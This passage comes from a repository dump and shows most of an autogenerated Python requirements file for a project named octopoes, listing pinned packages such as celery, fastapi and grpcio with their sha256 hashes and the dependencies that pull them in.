--hash=sha256:32120e378d32cd9714ad503c1d024619063ec28aad2248dc6672ad13edfa5110\n    # via importlib-metadata\n"
  },
  {
    "path": "octopoes/requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project ./octopoes --no-default-groups --format requirements-txt -o ./octopoes/requirements.txt\namqp==5.3.1 \\\n    --hash=sha256:43b3319e1b4e7d1251833a93d672b4af1e40f3d632d479b98661a95f117880a2 \\\n    --hash=sha256:cddc00c725449522023bad949f70fff7b48f0b1ade74d170a6f10ab044739432\n    # via kombu\nannotated-doc==0.0.4 \\\n    --hash=sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320 \\\n    --hash=sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4\n    # via fastapi\nannotated-types==0.7.0 \\\n    --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \\\n    --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89\n    # via pydantic\nanyio==4.13.0 \\\n    --hash=sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708 \\\n    --hash=sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc\n    # via\n    #   httpx\n    #   starlette\nasgiref==3.11.1 \\\n    --hash=sha256:5f184dc43b7e763efe848065441eac62229c9f7b0475f41f80e207a114eda4ce \\\n    --hash=sha256:e8667a091e69529631969fd45dc268fa79b99c92c5fcdda727757e52146ec133\n    # via\n    #   octopoes\n    #   opentelemetry-instrumentation-asgi\nattrs==26.1.0 \\\n    --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \\\n    --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32\n    # via\n    #   jsonschema\n    #   octopoes\n    #   referencing\nbilliard==4.2.4 \\\n    --hash=sha256:525b42bdec68d2b983347ac312f892db930858495db601b5836ac24e6477cde5 \\\n    --hash=sha256:55f542c371209e03cd5862299b74e52e4fbcba8250ba611ad94276b369b6a85f\n    # via celery\ncelery==5.6.3 \\\n    --hash=sha256:0808f42f80909c4d5833202360ffafb2a4f83f4d8e23e1285d926610e9a7afa6 \\\n    --hash=sha256:177006bd2054b882e9f01be59abd8529e88879ef50d7918a7050c5a9f4e12912\n    # via octopoes\ncertifi==2026.2.25 \\\n    --hash=sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa \\\n    --hash=sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7\n    # via\n    #   httpcore\n    #   httpx\n    #   requests\ncharset-normalizer==3.4.7 \\\n    --hash=sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc \\\n    --hash=sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c \\\n    --hash=sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4 \\\n    --hash=sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0 \\\n    --hash=sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c \\\n    --hash=sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5 \\\n    --hash=sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153 \\\n    --hash=sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b \\\n    --hash=sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c \\\n    --hash=sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a \\\n    --hash=sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7 \\\n    --hash=sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb \\\n    --hash=sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c \\\n    --hash=sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1 \\\n    --hash=sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab \\\n    --hash=sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df \\\n    --hash=sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e \\\n    --hash=sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18 \\\n    --hash=sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38 \\\n    --hash=sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110 \\\n    --hash=sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18 \\\n    --hash=sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44 \\\n    --hash=sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d \\\n    --hash=sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48 \\\n    --hash=sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e \\\n    --hash=sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5 \\\n    --hash=sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d \\\n    --hash=sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53 \\\n    --hash=sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790 \\\n    --hash=sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c \\\n    --hash=sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b \\\n    --hash=sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116 \\\n    --hash=sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d \\\n    --hash=sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10 \\\n    --hash=sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6 \\\n    --hash=sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2 \\\n    --hash=sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a \\\n    --hash=sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265 \\\n    --hash=sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008 \\\n    --hash=sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943 \\\n    --hash=sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374 \\\n    --hash=sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246 \\\n    --hash=sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e \\\n    --hash=sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616 \\\n    --hash=sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15 \\\n    --hash=sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41 \\\n    --hash=sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960 \\\n    --hash=sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752 \\\n    --hash=sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e \\\n    --hash=sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72 \\\n    --hash=sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7 \\\n    --hash=sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8 \\\n    --hash=sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b \\\n    --hash=sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb \\\n    --hash=sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e \\\n    --hash=sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00 \\\n    --hash=sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f \\\n    --hash=sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a \\\n    --hash=sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1 \\\n    --hash=sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66 \\\n    --hash=sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356 \\\n    --hash=sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4 \\\n    --hash=sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad \\\n    --hash=sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d \\\n    --hash=sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5 \\\n    --hash=sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7 \\\n    --hash=sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34 \\\n    --hash=sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49 \\\n    --hash=sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1 \\\n    --hash=sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e \\\n    --hash=sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0 \\\n    --hash=sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d \\\n    --hash=sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0 \\\n    --hash=sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae \\\n    --hash=sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d \\\n    --hash=sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe \\\n    --hash=sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3 \\\n    --hash=sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393 \\\n    --hash=sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1 \\\n    --hash=sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af \\\n    --hash=sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44 \\\n    --hash=sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c \\\n    --hash=sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd \\\n    --hash=sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e \\\n    --hash=sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b \\\n    --hash=sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8 \\\n    --hash=sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859 \\\n    --hash=sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46 \\\n    --hash=sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b \\\n    --hash=sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46 \\\n    --hash=sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a \\\n    --hash=sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24 \\\n    --hash=sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215 \\\n    --hash=sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063 \\\n    --hash=sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832 \\\n    --hash=sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6 \\\n    --hash=sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79 \\\n    --hash=sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464\n    # via requests\nclick==8.3.2 \\\n    --hash=sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5 \\\n    --hash=sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d\n    # via\n    #   celery\n    #   click-didyoumean\n    #   click-plugins\n    #   click-repl\n    #   uvicorn\nclick-didyoumean==0.3.1 \\\n    --hash=sha256:4f82fdff0dbe64ef8ab2279bd6aa3f6a99c3b28c05aa09cbfc07c9d7fbb5a463 \\\n    --hash=sha256:5c4bb6007cfea5f2fd6583a2fb6701a22a41eb98957e63d0fac41c10e7c3117c\n    # via celery\nclick-plugins==1.1.1.2 \\\n    --hash=sha256:008d65743833ffc1f5417bf0e78e8d2c23aab04d9745ba817bd3e71b0feb6aa6 \\\n    --hash=sha256:d7af3984a99d243c131aa1a828331e7630f4a88a9741fd05c927b204bcf92261\n    # via celery\nclick-repl==0.3.0 \\\n    --hash=sha256:17849c23dba3d667247dc4defe1757fff98694e90fe37474f3feebb69ced26a9 \\\n    --hash=sha256:fb7e06deb8da8de86180a33a9da97ac316751c094c6899382da7feeeeb51b812\n    # via celery\ncolorama==0.4.6 ; sys_platform == 'win32' \\\n    --hash=sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44 \\\n    --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6\n    # via click\ndnspython==2.8.0 \\\n    --hash=sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af \\\n    --hash=sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f\n    # via octopoes\nexceptiongroup==1.3.1 ; python_full_version < '3.11' \\\n    --hash=sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219 \\\n    --hash=sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598\n    # via\n    #   anyio\n    #   celery\nfastapi==0.135.3 \\\n    --hash=sha256:9b0f590c813acd13d0ab43dd8494138eb58e484bfac405db1f3187cfc5810d98 \\\n    --hash=sha256:bd6d7caf1a2bdd8d676843cdcd2287729572a1ef524fc4d65c17ae002a1be654\n    # via fastapi-slim\nfastapi-slim==0.129.1 \\\n    --hash=sha256:8e6d734797dcfeec171714224e9cbbb1c4d34c861ed3fdd07800fe1cf8e8e862 \\\n    --hash=sha256:c88ac964c7a804b5a739d809b8450a2eeb110ea5f59c8d02273452644fc7098d\n    # via octopoes\nfilelock==3.25.2 \\\n    --hash=sha256:b64ece2b38f4ca29dd3e810287aa8c48182bbecd1ae6e9ae126c9b35f1382694 \\\n    --hash=sha256:ca8afb0da15f229774c9ad1b455ed96e85a81373065fb10446672f64444ddf70\n    # via tldextract\ngoogleapis-common-protos==1.74.0 \\\n    --hash=sha256:57971e4eeeba6aad1163c1f0fc88543f965bb49129b8bb55b2b7b26ecab084f1 \\\n    --hash=sha256:702216f78610bb510e3f12ac3cafd281b7ac45cc5d86e90ad87e4d301a3426b5\n    # via opentelemetry-exporter-otlp-proto-grpc\ngreenlet==3.4.0 ; platform_machine == 'AMD64' or platform_machine == 'WIN32' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'ppc64le' or platform_machine == 'win32' or platform_machine == 'x86_64' \\\n    --hash=sha256:04403ac74fe295a361f650818de93be11b5038a78f49ccfb64d3b1be8fbf1267 \\\n    --hash=sha256:05fa0803561028f4b2e3b490ee41216a842eaee11aed004cc343a996d9523aa2 \\\n    --hash=sha256:06c2d3b89e0c62ba50bd7adf491b14f39da9e7e701647cb7b9ff4c99bee04b19 \\\n    --hash=sha256:070b8bac2ff3b4d9e0ff36a0d19e42103331d9737e8504747cd1e659f76297bd \\\n    --hash=sha256:076e21040b3a917d3ce4ad68fb5c3c6b32f1405616c4a57aa83120979649bd3d \\\n    --hash=sha256:0e1254cf0cbaa17b04320c3a78575f29f3c161ef38f59c977108f19ffddaf077 \\\n    --hash=sha256:1054c5a3c78e2ab599d452f23f7adafef55062a783a8e241d24f3b633ba6ff82 \\\n    --hash=sha256:10a07aca6babdd18c16a3f4f8880acfffc2b88dfe431ad6aa5f5740759d7d75e \\\n    --hash=sha256:16dec271460a9a2b154e3b1c2fa1050ce6280878430320e85e08c166772e3f97 \\\n    --hash=sha256:1a4a48f24681300c640f143ba7c404270e1ebbbcf34331d7104a4ff40f8ea705 \\\n    --hash=sha256:1a54a921561dd9518d31d2d3db4d7f80e589083063ab4d3e2e950756ef809e1a \\\n    --hash=sha256:1f85f204c4d54134ae850d401fa435c89cd667d5ce9dc567571776b45941af72 \\\n    --hash=sha256:207ba5b97ea8b0b60eb43ffcacf26969dd83726095161d676aac03ff913ee50d \\\n    --hash=sha256:227a46251ecba4ff46ae742bc5ce95c91d5aceb4b02f885487aff269c127a729 \\\n    --hash=sha256:234582c20af9742583c3b2ddfbdbb58a756cfff803763ffaae1ac7990a9fac31 \\\n    --hash=sha256:2d4f0635dc4aa638cda4b2f5a07ae9a2cff9280327b581a3fcb6f317b4fbc38a \\\n    --hash=sha256:43748988b097f9c6f09364f260741aa73c80747f63389824435c7a50bfdfd5c1 \\\n    --hash=sha256:439fc2f12b9b512d9dfa681c5afe5f6b3232c708d13e6f02c845e0d9f4c2d8c6 \\\n    --hash=sha256:4df3b0b2289ec686d3c821a5fee44259c05cfe824dd5e6e12c8e5f5df23085cf \\\n    --hash=sha256:523677e69cd4711b5a014e37bc1fb3a29947c3e3a5bb6a527e1cc50312e5a398 \\\n    --hash=sha256:5434271357be07f3ad0936c312645853b7e689e679e29310e2de09a9ea6c3adf \\\n    --hash=sha256:5566e4e2cd7a880e8c27618e3eab20f3494452d12fd5129edef7b2f7aa9a36d1 \\\n    --hash=sha256:5b99e87be7eba788dd5b75ba1cde5639edffdec5f91fe0d734a249535ec3408c \\\n    --hash=sha256:5cb614ace7c27571270354e9c9f696554d073f8aa9319079dcba466bbdead711 \\\n    --hash=sha256:636d2f95c309e35f650e421c23297d5011716be15d966e6328b367c9fc513a82 \\\n    --hash=sha256:6f0def07ec9a71d72315cf26c061aceee53b306c36ed38c35caba952ea1b319d \\\n    --hash=sha256:7f50c804733b43eded05ae694691c9aa68bca7d0a867d67d4a3f514742a2d53f \\\n    --hash=sha256:805bebb4945094acbab757d34d6e1098be6de8966009ab9ca54f06ff492def58 \\\n    --hash=sha256:8424683caf46eb0eb6f626cb95e008e8cc30d0cb675bdfa48200925c79b38a08 \\\n    --hash=sha256:849f8bc17acd6295fcb5de8e46d55cc0e52381c56eaf50a2afd258e97bc65940 \\\n    --hash=sha256:89995ce5ddcd2896d89615116dd39b9703bfa0c07b583b85b89bf1b5d6eddf81 \\\n    --hash=sha256:8a569c2fb840c53c13a2b8967c63621fafbd1a0e015b9c82f408c33d626a2fda \\\n    --hash=sha256:8bff29d586ea415688f4cec96a591fcc3bf762d046a796cdadc1fdb6e7f2d5bf \\\n    --hash=sha256:8c5696c42e6bb5cfb7c6ff4453789081c66b9b91f061e5e9367fa15792644e76 \\\n    --hash=sha256:90036ce224ed6fe75508c1907a77e4540176dcf0744473627785dd519c6f9996 \\\n    --hash=sha256:9390ad88b652b1903814eaabd629ca184db15e0eeb6fe8a390bbf8b9106ae15a \\\n    --hash=sha256:956215d5e355fffa7c021d168728321fd4d31fd730ac609b1653b450f6a4bc71 \\\n    --hash=sha256:98eedd1803353daf1cd9ef23eef23eda5a4d22f99b1f998d273a8b78b70dd47f \\\n    --hash=sha256:9b2d9a138ffa0e306d0e2b72976d2fb10b97e690d40ab36a472acaab0838e2de \\\n    --hash=sha256:a0a53fb071531d003b075c444014ff8f8b1a9898d36bb88abd9ac7b3524648a2 \\\n    --hash=sha256:a19093fbad824ed7c0f355b5ff4214bffda5f1a7f35f29b31fcaa240cc0135ab \\\n    --hash=sha256:a1c4f6b453006efb8310affb2d132832e9bbb4fc01ce6df6b70d810d38f1f6dc \\\n    --hash=sha256:a58bec0751f43068cd40cff31bb3ca02ad6000b3a51ca81367af4eb5abc480c8 \\\n    --hash=sha256:a70ed1cb0295bee1df57b63bf7f46b4e56a5c93709eea769c1fec1bb23a95875 \\\n    --hash=sha256:ac6a5f618be581e1e0713aecec8e54093c235e5fa17d6d8eb7ffc487e2300508 \\\n    --hash=sha256:b45e45fe47a19051a396abb22e19e7836a59ee6c5a90f3be427343c37908d65b \\\n    --hash=sha256:b7857e2202aae67bc5725e0c1f6403c20a8ff46094ece015e7d474f5f7020b55 \\\n    --hash=sha256:c4cd56a9eb7a6444edbc19062f7b6fbc8f287c663b946e3171d899693b1c19fa \\\n    --hash=sha256:c660bce1940a1acae5f51f0a064f1bc785d07ea16efcb4bc708090afc4d69e83 \\\n    --hash=sha256:d18eae9a7fb0f499efcd146b8c9750a2e1f6e0e93b5a382b3481875354a430e6 \\\n    --hash=sha256:d336d46878e486de7d9458653c722875547ac8d36a1cff9ffaf4a74a3c1f62eb \\\n    --hash=sha256:d70012e51df2dbbccfaf63a40aaf9b40c8bed37c3e3a38751c926301ce538ece \\\n    --hash=sha256:e60d38719cb80b3ab5e85f9f1aed4960acfde09868af6762ccb27b260d68f4ed \\\n    --hash=sha256:e82689eea4a237e530bb5cb41b180ef81fa2160e1f89422a67be7d90da67f615 \\\n    --hash=sha256:ee407d4d1ca9dc632265aee1c8732c4a2d60adff848057cdebfe5fe94eb2c8a2 \\\n    --hash=sha256:f38b81880ba28f232f1f675893a39cf7b6db25b31cc0a09bb50787ecf957e85e \\\n    --hash=sha256:f50a96b64dafd6169e595a5c56c9146ef80333e67d4476a65a9c55f400fc22ff \\\n    --hash=sha256:f8296d4e2b92af34ebde81085a01690f26a51eb9ac09a0fcadb331eb36dbc802 \\\n    --hash=sha256:f82cb6cddc27dd81c96b1506f4aa7def15070c3b2a67d4e46fd19016aacce6cf\n    # via sqlalchemy\ngrpcio==1.80.0 \\\n    --hash=sha256:00168469238b022500e486c1c33916acf2f2a9b2c022202cf8a1885d2e3073c1 \\\n    --hash=sha256:02e64bb0bb2da14d947a49e6f120a75e947250aebe65f9629b62bb1f5c14e6e9 \\\n    --hash=sha256:09e5e478b3d14afd23f12e49e8b44c8684ac3c5f08561c43a5b9691c54d136ab \\\n    --hash=sha256:0cb517eb1d0d0aaf1d87af7cc5b801d686557c1d88b2619f5e31fab3c2315921 \\\n    --hash=sha256:256507e2f524092f1473071a05e65a5b10d84b82e3ff24c5b571513cfaa61e2f \\\n    --hash=sha256:29aca15edd0688c22ba01d7cc01cb000d72b2033f4a3c72a81a19b56fd143257 \\\n    --hash=sha256:2bea16af2750fd0a899bf1abd9022244418b55d1f37da2202249ba4ba673838d \\\n    --hash=sha256:2dcc70e9f0ba987526e8e8603a610fb4f460e42899e74e7a518bf3c68fe1bf05 \\\n    --hash=sha256:2ed770b4c06984f3b47eb0517b1c69ad0b84ef3f40128f51448433be904634cd \\\n    --hash=sha256:31b9ac4ad1aa28ffee5503821fafd09e4da0a261ce1c1281c6c8da0423c83b6e \\\n    --hash=sha256:33eb763f18f006dc7fee1e69831d38d23f5eccd15b2e0f92a13ee1d9242e5e02 \\\n    --hash=sha256:367ce30ba67d05e0592470428f0ec1c31714cab9ef19b8f2e37be1f4c7d32fae \\\n    --hash=sha256:3b01e1f5464c583d2f567b2e46ff0d516ef979978f72091fd81f5ab7fa6e2e7f \\\n    --hash=sha256:3cb8130ba457d2aa09fa6b7c3ed6b6e4e6a2685fce63cb803d479576c4d80e21 \\\n    --hash=sha256:3d4147a97c8344d065d01bbf8b6acec2cf86fb0400d40696c8bdad34a64ffc0e \\\n    --hash=sha256:448c884b668b868562b1bda833c5fce6272d26e1926ec46747cda05741d302c1 \\\n    --hash=sha256:46c2390b59d67f84e882694d489f5b45707c657832d7934859ceb8c33f467069 \\\n    --hash=sha256:4e78c4ac0d97dc2e569b2f4bcbbb447491167cb358d1a389fc4af71ab6f70411 \\\n    --hash=sha256:4ed39fbdcf9b87370f6e8df4e39ca7b38b3e5e9d1b0013c7b6be9639d6578d14 \\\n    --hash=sha256:50a9871536d71c4fba24ee856abc03a87764570f0c457dd8db0b4018f379fed9 \\\n    --hash=sha256:51b4a7189b0bef2aa30adce3c78f09c83526cf3dddb24c6a96555e3b97340440 \\\n    --hash=sha256:52d143637e3872633fc7dd7c3c6a1c84e396b359f3a72e215f8bf69fd82084fc \\\n    --hash=sha256:5c07e82e822e1161354e32da2662f741a4944ea955f9f580ec8fb409dd6f6060 \\\n    --hash=sha256:68e5851ac4b9afe07e7f84483803ad167852570d65326b34d54ca560bfa53fb6 \\\n    --hash=sha256:7b641fc3f1dc647bfd80bd713addc68f6d145956f64677e56d9ebafc0bd72388 \\\n    --hash=sha256:8502122a3cc1714038e39a0b071acb1207ca7844208d5ea0d091317555ee7106 \\\n    --hash=sha256:873ff5d17d68992ef6605330127425d2fc4e77e612fa3c3e0ed4e668685e3140 \\\n    --hash=sha256:886457a7768e408cdce226ad1ca67d2958917d306523a0e21e1a2fdaa75c9c9c \\\n    --hash=sha256:8ac393b58aa16991a2f1144ec578084d544038c12242da3a215966b512904d0f \\\n    --hash=sha256:8eb613f02d34721f1acf3626dfdb3545bd3c8505b0e52bf8b5710a28d02e8aa7 \\\n    --hash=sha256:92d787312e613754d4d8b9ca6d3297e69994a7912a32fa38c4c4e01c272974b0 \\\n    --hash=sha256:93b6f823810720912fd131f561f91f5fed0fda372b6b7028a2681b8194d5d294 \\\n    --hash=sha256:9a6284a5d907c37db53350645567c522be314bac859a64a7a5ca63b77bb7958f \\\n    --hash=sha256:9fe648599c0e37594c4809d81a9e77bd138cc82eb8baa71b6a86af65426723ff \\\n    --hash=sha256:a1dc80fe55685b4a543555e6eef975303b36c8db1023b1599b094b92aa77965f \\\n    --hash=sha256:a72d84ad0514db063e21887fbacd1fd7acb4d494a564cae22227cd45c7fbf199 \\\n    --hash=sha256:ba0915d51fd4ced2db5ff719f84e270afe0e2d4c45a7bdb1e8d036e4502928c2 \\\n    --hash=sha256:ba0db34f7e1d803a878284cd70e4c63cb6ae2510ba51937bf8f45ba997cefcf7 \\\n    --hash=sha256:c51bf8ac4575af2e0678bccfb07e47321fc7acb5049b4482832c5c195e04e13a \\\n    --hash=sha256:c624cc9f1008361014378c9d776de7182b11fe8b2e5a81bc69f23a295f2a1ad0 \\\n    --hash=sha256:c71309cfce2f22be26aa4a847357c502db6c621f1a49825ae98aa0907595b193 \\\n    --hash=sha256:ce1794f4ea6cc3ca29463f42d665c32ba1b964b48958a66497917fe9069f26e6 \\\n    --hash=sha256:d334591df610ab94714048e0d5b4f3dd5ad1bee74dfec11eee344220077a79de \\\n    --hash=sha256:d8e11f167935b3eb089ac9038e1a063e6d7dbe995c0bb4a661e614583352e76f \\\n    --hash=sha256:dc053420fc75749c961e2a4c906398d7c15725d36ccc04ae6d16093167223b58 \\\n    --hash=sha256:dfab85db094068ff42e2a3563f60ab3dddcc9d6488a35abf0132daec13209c8a \\\n    --hash=sha256:e172cf795a3ba5246d3529e4d34c53db70e888fa582a8ffebd2e6e48bc0cba50 \\\n    --hash=sha256:e9e408fc016dffd20661f0126c53d8a31c2821b5c13c5d67a0f5ed5de93319ad \\\n    --hash=sha256:f14b618fc30de822681ee986cfdcc2d9327229dc4c98aed16896761cacd468b9 \\\n    --hash=sha256:f49eddcac43c3bf350c0385366a58f36bed8cc2c0ec35ef7b74b49e56552c0c2 \\\n    --hash=sha256:f7691a6788ad9196872f95716df5bc643ebba13c97140b7a5ee5c8e75d1dea81\n    # via opentelemetry-exporter-otlp-proto-grpc\nh11==0.16.0 \\\n    --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \\\n    --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86\n    # via\n    #   httpcore\n    #   uvicorn\nhttpcore==1.0.9 \\\n    --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \\\n    